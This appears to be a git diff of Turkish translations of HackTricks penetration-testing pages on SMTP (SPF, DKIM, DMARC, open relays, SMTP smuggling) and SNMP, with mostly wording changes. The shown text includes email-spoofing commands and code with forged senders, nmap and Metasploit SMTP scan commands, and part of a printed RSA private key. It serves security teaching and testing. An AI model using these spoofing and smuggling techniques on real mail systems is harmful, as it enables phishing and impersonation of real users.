+| INCLUDE | Başka bir alanın politikasına referans verir. Bu alanın politikası geçerse, bu mekanizma geçer. Ancak, dahil edilen politika başarısız olursa, işlem devam eder. Başka bir alanın politikasına tamamen devretmek için yönlendirme uzantısı kullanılmalıdır. |
| REDIRECT | Yönlendirme, SPF politikasını barındıran başka bir alan adına bir işaretçidir, aynı SPF politikasını paylaşan birçok alanla çalışırken faydalıdır.
Yönlendirme Mekanizmasında belirtilen alan adının SPF politikası kullanılacaktır.
|
**Eşleşen bir mekanizma olduğunda ne yapılacağını belirten** **Kalifikatörler** de tanımlamak mümkündür. Varsayılan olarak, **kalifikatör "+"** kullanılır (yani herhangi bir mekanizma eşleşirse, bu izin verildiği anlamına gelir).\
-Genellikle **her SPF politikasının sonunda** şöyle bir şey göreceksiniz: **\~all** veya **-all**. Bu, **gönderenin herhangi bir SPF politikasına uymadığı durumda e-postayı güvensiz olarak işaretlemeniz gerektiğini (\~) veya e-postayı reddetmeniz gerektiğini (-) belirtmek için kullanılır.**
+Genellikle **her SPF politikasının sonunda** şöyle bir şey göreceksiniz: **\~all** veya **-all**. Bu, **gönderenin herhangi bir SPF politikasına uymadığı durumda e-postayı güvensiz olarak işaretlemeniz gerektiği (\~) veya e-postayı reddetmeniz gerektiği (-) anlamına gelir.**
#### Kalifikatörler
Politika içindeki her mekanizma, amaçlanan sonucu tanımlamak için dört kalifikatörden biri ile başlatılabilir:
* **`+`**: Bir GEÇİŞ sonucuna karşılık gelir. Varsayılan olarak, mekanizmalar bu kalifikatörü varsayar, bu da `+mx`nin `mx` ile eşdeğer olduğu anlamına gelir.
-* **`?`**: BELİRSİZ sonucu temsil eder, BENZER şekilde işlenir NONE (belirli bir politika yok).
+* **`?`**: BELİRSİZ bir sonucu temsil eder, BENZER şekilde işlenir NONE (belirli bir politika yok).
* **`~`**: SOFTFAIL'i belirtir, NEUTRAL ve FAIL arasında bir ara nokta olarak hizmet eder. Bu sonucu karşılayan e-postalar genellikle kabul edilir ancak buna göre işaretlenir.
* **`-`**: FAIL'i belirtir, e-postanın kesinlikle reddedilmesi gerektiğini önerir.
@@ -317,13 +317,13 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
```
-Geleneksel olarak, doğru/bir SPF kaydı olmayan bir alan adını taklit etmek mümkündü. **Günümüzde**, **e-posta** bir **geçerli SPF kaydı olmayan bir alandan gelirse** muhtemelen **otomatik olarak reddedilecek/untrusted olarak işaretlenecektir**.
+Geleneksel olarak, doğru/bir SPF kaydı olmayan bir alan adını taklit etmek mümkündü. **Günümüzde**, eğer **bir e-posta** doğru bir SPF kaydı olmayan bir **alan adından geliyorsa**, muhtemelen **otomatik olarak reddedilecek/yalan olarak işaretlenecektir**.
Bir alan adının SPF'sini kontrol etmek için [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) gibi çevrimiçi araçlar kullanabilirsiniz.
### DKIM (DomainKeys Identified Mail)
-DKIM, dışa doğru gönderilen e-postaları imzalamak için kullanılır ve bunların alan adının genel anahtarının DNS'den alınarak harici Posta Transfer Ajanları (MTA'lar) tarafından doğrulanmasını sağlar. Bu genel anahtar, bir alan adının TXT kaydında bulunur. Bu anahtara erişmek için, hem seçiciyi hem de alan adını bilmek gerekir.
+DKIM, dışa doğru gönderilen e-postaları imzalamak için kullanılır ve bunların alan adının genel anahtarının DNS'den alınarak harici Posta Aktarım Ajanları (MTA'lar) tarafından doğrulanmasını sağlar. Bu genel anahtar, bir alan adının TXT kaydında bulunur. Bu anahtara erişmek için, hem seçiciyi hem de alan adını bilmek gerekir.
Örneğin, anahtarı istemek için alan adı ve seçici önemlidir. Bunlar posta başlığında `DKIM-Signature` içinde bulunabilir, örneğin, `d=gmail.com;s=20120113`.
@@ -337,7 +337,7 @@ dig 20120113._domainkey.gmail.com TXT | grep p=
DMARC, SPF ve DKIM protokollerine dayanarak e-posta güvenliğini artırır. Belirli bir alan adından gelen e-postaların işlenmesi konusunda posta sunucularına rehberlik eden politikaları belirler, kimlik doğrulama hatalarıyla nasıl başa çıkılacağını ve e-posta işleme işlemleri hakkında raporların nereye gönderileceğini belirtir.
-**DMARC kaydını almak için \_dmarc alt alanını sorgulamanız gerekmektedir.**
+**DMARC kaydını almak için \_dmarc alt alan adını sorgulamanız gerekmektedir.**
```bash
# Reject
dig _dmarc.facebook.com txt | grep DMARC
@@ -370,25 +370,25 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
Göndermek istediğiniz her alt alan için ayrı SPF kayıtlarına sahip olmanız gerekmektedir.\
Aşağıdaki bilgi aslen openspf.org'da yayınlanmıştır, bu tür konular için harika bir kaynaktı.
-> Şeytan Sorusu: Peki alt alanlar ne olacak?
+> Şeytan Sorusu: Alt alanlar hakkında ne?
>
> Eğer pielovers.demon.co.uk'dan gelen bir e-posta alırsam ve pielovers için SPF verisi yoksa, geri gidip demon.co.uk için SPF'yi test etmeli miyim? Hayır. Demon'daki her alt alan farklı bir müşteridir ve her müşterinin kendi politikası olabilir. Demon'un politikasının varsayılan olarak tüm müşterilerine uygulanması mantıklı olmazdı; eğer Demon bunu yapmak isterse, her alt alan için SPF kayıtları oluşturabilir.
>
> Bu nedenle SPF yayıncılarına verilen tavsiye şudur: her A veya MX kaydı olan alt alan veya ana bilgisayar için bir SPF kaydı eklemelisiniz.
>
-> Yıldızlı A veya MX kayıtlarına sahip sitelerin ayrıca aşağıdaki formatta bir yıldızlı SPF kaydı olmalıdır: \* IN TXT "v=spf1 -all"
+> Yıldızlı A veya MX kayıtları olan sitelerin ayrıca aşağıdaki formatta bir yıldızlı SPF kaydı olmalıdır: \* IN TXT "v=spf1 -all"
-Bu mantıklıdır - bir alt alan muhtemelen farklı bir coğrafi konumda olabilir ve çok farklı bir SPF tanımına sahip olabilir.
+Bu mantıklıdır - bir alt alan çok iyi farklı bir coğrafi konumda olabilir ve çok farklı bir SPF tanımına sahip olabilir.
### **Açık Röle**
-E-postalar gönderildiğinde, onların spam olarak işaretlenmemesini sağlamak son derece önemlidir. Bu genellikle, **alıcı tarafından güvenilen bir röle sunucusunun kullanılmasıyla** başarılır. Ancak, yöneticilerin genellikle hangi **IP aralıklarının güvenli olduğunu tam olarak bilmedikleri** bir yaygın sorundur. Bu anlayış eksikliği, SMTP sunucusunun kurulumunda hatalara yol açabilir ve sıkça güvenlik değerlendirmelerinde tespit edilen bir risktir.
+E-postalar gönderildiğinde, onların spam olarak işaretlenmemesini sağlamak son derece önemlidir. Bu genellikle, **alıcı tarafından güvenilen bir röle sunucusunun kullanılmasıyla** başarılır. Ancak, yöneticilerin genellikle hangi **IP aralıklarının güvenli olduğunu tam olarak bilmedikleri** bir gerçektir. Bu anlayış eksikliği, SMTP sunucusunun kurulumunda hatalara yol açabilir ve sıkça güvenlik değerlendirmelerinde tespit edilen bir risktir.
Bazı yöneticilerin, özellikle potansiyel veya devam eden müşterilerle iletişimde yaşanan e-posta teslim sorunlarını önlemek için kullandığı bir çözüm, bağlantılara **herhangi bir IP adresinden izin vermek**tir. Bu, SMTP sunucusunun `mynetworks` parametresini tüm IP adreslerini kabul edecek şekilde yapılandırarak yapılır, aşağıda gösterildiği gibi:
```bash
mynetworks = 0.0.0.0/0
```
-E-posta sunucusunun açık bir röle olup olmadığını kontrol etmek için genellikle `nmap` aracı kullanılır. Bu amaçla tasarlanmış belirli bir betiği içerir. Bir sunucuda (örneğin, IP'si 10.10.10.10 olan) 25 numaralı bağlantı noktasında ayrıntılı bir tarama yapmak için `nmap` kullanımı şu şekildedir:
+E-posta sunucusunun açık bir röle olup olmadığını kontrol etmek için genellikle `nmap` aracı kullanılır. Bu amaçla tasarlanmış belirli bir betiği içerir. Bir sunucuda (örneğin, IP'si 10.10.10.10 olan) port 25 üzerinde ayrıntılı bir tarama yapmak için `nmap` kullanımı şu şekildedir:
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
@@ -413,7 +413,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
```
{% hint style="warning" %}
-Eğer dkim python kütüphanesini kullanırken anahtarı ayrıştırırken herhangi bir hata alırsanız, aşağıdaki anahtarı kullanmaktan çekinmeyin.\
+Eğer dkim python kütüphanesini kullanırken bir hata alırsanız ve anahtarı ayrıştırmakta sorun yaşıyorsanız, aşağıdaki anahtarı kullanmaktan çekinmeyin.\
**NOT**: Bu, openssl özel anahtarının dkim tarafından ayrıştırılamadığı durumlarda hızlı kontroller yapmak için yapılmış basit bir düzeltmedir.
```
-----BEGIN RSA PRIVATE KEY-----
@@ -439,7 +439,7 @@ K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
{% tabs %}
{% tab title="PHP" %}
# Bu, imzalanmamış bir ileti gönderecektir
-mail("your_email@gmail.com", "Test Konu!", "hey! Bu bir testtir", "Kimden: administrator@victim.com");
+mail("sizin_email@gmail.com", "Test Konusu!", "hey! Bu bir test", "Kimden: administrator@kurban.com");
{% endtab %}
@@ -499,33 +499,30 @@ smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)
```
-{% endtab %}
-{% endtabs %}
-
### **Daha fazla bilgi**
-Bu korumalar hakkında daha fazla bilgiyi [şu adresten](https://seanthegeek.net/459/demystifying-dmarc/) bulabilirsiniz.
+**Bu korumalar hakkında daha fazla bilgiyi** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) **adresinde bulabilirsiniz.**
### **Diğer phishing belirteçleri**
-* Alanın yaşı
+* Alan adının yaşı
* IP adreslerine işaret eden bağlantılar
* Bağlantı manipülasyon teknikleri
* Şüpheli (sıradışı) ekler
* Bozuk e-posta içeriği
-* Posta başlıklarındakilerden farklı değerlerin kullanılması
+* Posta başlıklarındaki değerlerden farklı olanlar
* Geçerli ve güvenilir bir SSL sertifikasının varlığı
* Sayfanın web içerik filtreleme sitelerine gönderilmesi
## SMTP Aracılığıyla Veri Sızdırma
-Eğer SMTP aracılığıyla veri gönderebiliyorsanız, [burayı okuyun](../../generic-methodologies-and-resources/exfiltration.md#smtp).
+**Eğer SMTP aracılığıyla veri gönderebiliyorsanız** [**burayı okuyun**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.**
## Yapılandırma dosyası
### Postfix
-Genellikle, kuruluysa, `/etc/postfix/master.cf` içinde bir kullanıcı tarafından yeni bir posta alındığında örneğin **yürütülecek betikler** içerir. Örneğin, `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` satırı, yeni bir posta kullanıcı mark tarafından alındığında `/etc/postfix/filtering`'in yürütüleceği anlamına gelir.
+Genellikle, kuruluysa, `/etc/postfix/master.cf` içinde **örneğin bir kullanıcı tarafından yeni bir posta alındığında yürütülecek betikleri** içerir. Örneğin, `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` satırı, bir kullanıcı olan mark tarafından yeni bir posta alındığında `/etc/postfix/filtering`'in yürütüleceği anlamına gelir.
Diğer yapılandırma dosyaları:
```
@@ -586,22 +583,22 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
```
-
+
-**Zafere ulaşmak için sıfırdan AWS hackleme öğrenin**. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar gider. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inme, kabukları patlatma ve eğlenme zamanı kazanıyorlar.
+**Vulnerability değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. Keşiften raporlamaya kadar olan 20'den fazla araç ve özellikle herhangi bir yerden tam bir pentest çalıştırın. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanmalarını sağlıyoruz.
{% embed url="https://pentest-tools.com/" %}
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
+Sıfırdan kahraman olana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
-HackTricks'i desteklemenin diğer yolları:
+HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
-* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/network-services-pentesting/pentesting-smtp/smtp-commands.md b/network-services-pentesting/pentesting-smtp/smtp-commands.md
index 30dea4be9..513403689 100644
--- a/network-services-pentesting/pentesting-smtp/smtp-commands.md
+++ b/network-services-pentesting/pentesting-smtp/smtp-commands.md
@@ -2,21 +2,21 @@
-AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
+AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
-* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
-* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
+* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
-
+
-**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest'i çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabuklar açmak ve eğlenmek için zaman kazanıyorlar.
+**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabuklar açmak ve eğlenmek için zaman kazanıyorlar.
{% embed url="https://pentest-tools.com/" %}
@@ -26,7 +26,7 @@ HackTricks'ı desteklemenin diğer yolları:
Bu ilk SMTP komutudur: gönderen sunucuyu tanımlayarak konuşmayı başlatır ve genellikle alan adı ile devam eder.
**EHLO**\
-Konuşmayı başlatmak için alternatif bir komut, sunucunun Genişletilmiş SMTP protokolünü kullandığını belirtir.
+Konuşmayı başlatmak için alternatif bir komuttur, sunucunun Genişletilmiş SMTP protokolünü kullandığını belirtir.
**MAIL FROM**\
Bu SMTP komutuyla işlemler başlar: gönderen, "Kimden" alanında kaynak e-posta adresini belirtir ve aslında e-posta transferini başlatır.
@@ -53,7 +53,7 @@ AUTH komutuyla istemci, kullanıcı adını ve şifresini vererek sunucuya kimli
Devam eden e-posta iletiminin sona ereceğini, ancak SMTP konuşmasının kapatılmayacağını (QUIT durumunda olduğu gibi) sunucuya bildirir.
**EXPN**\
-Bu SMTP komutu, bir posta listesinin tanımlanması hakkında bir onay istiyor.
+Bu SMTP komutu, bir posta listesinin tanımlanması hakkında bir onay istemektedir.
**HELP**\
Bu, e-postanın başarılı bir şekilde aktarılması için yararlı olabilecek bazı bilgileri isteyen bir istemcidir.
@@ -61,22 +61,22 @@ Bu, e-postanın başarılı bir şekilde aktarılması için yararlı olabilecek
**QUIT**\
SMTP konuşmasını sonlandırır.
-
+
-**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest'i çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabuklar açmak ve eğlenmek için zaman kazanıyorlar.
+**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabuklar açmak ve eğlenmek için zaman kazanıyorlar.
{% embed url="https://pentest-tools.com/" %}
-AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
+AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
-* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
-* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
+* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
diff --git a/network-services-pentesting/pentesting-smtp/smtp-smuggling.md b/network-services-pentesting/pentesting-smtp/smtp-smuggling.md
index 4d20efcf3..6b9958658 100644
--- a/network-services-pentesting/pentesting-smtp/smtp-smuggling.md
+++ b/network-services-pentesting/pentesting-smtp/smtp-smuggling.md
@@ -1,37 +1,37 @@
-# SMTP Smuggling
+# SMTP Kaçakçılığı
-AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Red Team Expert)!
+AWS hackleme konusunda sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
-* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* [**PEASS Ailesi'ni keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
-* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
+* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
## Temel Bilgiler
-Bu tür bir zayıflık [**bu yazıda orijinal olarak keşfedildi**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) ve SMTP protokolünün bir e-postayı sonlandırırken nasıl yorumlandığındaki farklılıklardan yararlanarak, bir saldırganın meşru bir e-postanın gövdesine daha fazla e-posta sokmasına izin verdiği açıklanmıştır, etkilenen alanın diğer kullanıcılarını (örneğin admin@outlook.com gibi) taklit etmesine olanak tanırken SPF gibi savunmaları atlamasına izin verir.
+Bu tür bir zayıflık [**bu gönderide orijinal olarak keşfedildi**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/), burada SMTP protokolünün bir e-postayı tamamlarken nasıl yorumlandığındaki farklılıklardan yararlanarak, bir saldırganın meşru bir e-postanın gövdesine daha fazla e-posta kaçırmasına izin verdiği açıklanmıştır, etkilenen alanın diğer kullanıcılarını (örneğin admin@outlook.com gibi) taklit etmesine olanak tanırken SPF gibi savunmaları atlamasına izin verir.
### Neden
-Bu, SMTP protokolünde, e-postada gönderilecek olan **mesaj verisinin** bir kullanıcı (saldırgan) tarafından kontrol edildiği için mümkündür ve bu, alıcıya ekstra e-postaları kaçırmak için ayrımcılıkları kötüye kullanan özel olarak oluşturulmuş veriler gönderebilecek bir saldırganın (saldırgan) varlığına izin verir. Bu zayıflıktan kötüye kullanma olasılığı olan bu örneğe bakın:
+Bu, SMTP protokolünde, e-postada gönderilecek mesajın verisinin bir kullanıcı (saldırgan) tarafından kontrol edildiği için mümkündür ve bu, alıcıya ekstra e-postaları kaçıracak ayrıntılarda istismar edilebilir. Orijinal gönderiden bu örnekli örneğe bakın:
-
+
### Nasıl
-Bu zayıflığı sömürmek için bir saldırganın, **Giden SMTP sunucusunun bir e-posta olduğunu düşündüğü ancak Gelen SMTP sunucusunun birden fazla e-posta olduğunu düşündüğü bazı veriler göndermesi gerekir**.
+Bu zayıflığı sömürmek için bir saldırganın, **Giden SMPT sunucusunun bir e-posta olduğunu düşündüğü ancak Gelen SMTP sunucusunun birden fazla e-posta olduğunu düşündüğü bazı veriler göndermesi gerekir**.
-Araştırmacılar, farklı **Gelen sunucuların e-posta mesajının veri sonunu farklı karakterler olarak düşündüğünü keşfettiler**.\
-Örneğin, düzenli bir veri sonu `\r\n.\r\n`'dir. Ancak Gelen SMTP sunucusu ayrıca `\n.\n`'yi de destekliyorsa, bir saldırgan sadece **bu veriyi e-postasına ekleyebilir ve önceki resimde olduğu gibi onu kaçırmak için yeni SMTP komutlarını belirtmeye başlayabilir**.
+Araştırmacılar, **Gelen sunucuların e-posta mesajının verisinin sonunu farklı karakterler olarak düşündüğünü keşfettiler**.\
+Örneğin, düzenli bir veri sonu `\r\n.\r\n`'dir. Ancak Gelen SMTP sunucusu ayrıca `\n.\n`'yi de destekliyorsa, bir saldırgan sadece e-postasına **bu veriyi ekleyebilir ve önceki resimde olduğu gibi kaçırmak için yeni SMTP komutlarını belirtmeye başlayabilir**.
-Tabii ki, bu yalnızca **Giden SMTP sunucusunun bu veriyi** de mesaj verisinin sonu olarak ele almazsa çalışabilir, çünkü o zaman 1 yerine 2 e-posta görecektir, bu nedenle sonuçta bu, bu zayıflıktan kötüye kullanılan desenkronizasyondur.
+Tabii ki, bu yalnızca **Giden SMTP sunucusunun bu veriyi aynı zamanda mesaj verisinin sonu olarak da ele almaması durumunda çalışabilir**, çünkü o zaman 1 yerine 2 e-posta görecektir, bu nedenle sonuçta bu, bu zayıflıktan yararlanılan bu desenkronizasyondur.
Potansiyel desenkronizasyon verileri:
@@ -46,14 +46,14 @@ Ayrıca SPF'nin atlatıldığını unutmayın çünkü `admin@outlook.com` adres
-AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Red Team Expert)!
+AWS hackleme konusunda sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
-* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* [**PEASS Ailesi'ni keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
-* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
+* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
diff --git a/network-services-pentesting/pentesting-snmp/README.md b/network-services-pentesting/pentesting-snmp/README.md
index 0c3c887ff..b6d49cb12 100644
--- a/network-services-pentesting/pentesting-snmp/README.md
+++ b/network-services-pentesting/pentesting-snmp/README.md
@@ -1,22 +1,22 @@
-# 161,162,10161,10162/udp - SNMP Pentesting
+# 161,162,10161,10162/udp - SNMP Sızma Testi
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)!
+Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
-HackTricks'ı desteklemenin diğer yolları:
+HackTricks'i desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
-* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
-* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
-* **Hacking hilelerinizi paylaşarak PR göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
